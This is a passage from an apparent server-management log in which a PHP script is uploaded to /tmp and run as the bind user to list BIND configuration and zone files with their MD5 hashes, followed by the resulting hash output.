MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-21 14:12:26: Establishing a connection
2026-04-21 14:12:27: 

PUT: /tmp/pkp617401

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-21 14:12:27: 

runuser -l bind -s /bin/bash -c '/tmp/pkp617401; rm /tmp/pkp617401'

2026-04-21 14:12:27: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-21 14:12:28: Establishing a connection
2026-04-21 14:12:28: 

PUT: /tmp/pkp800308

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
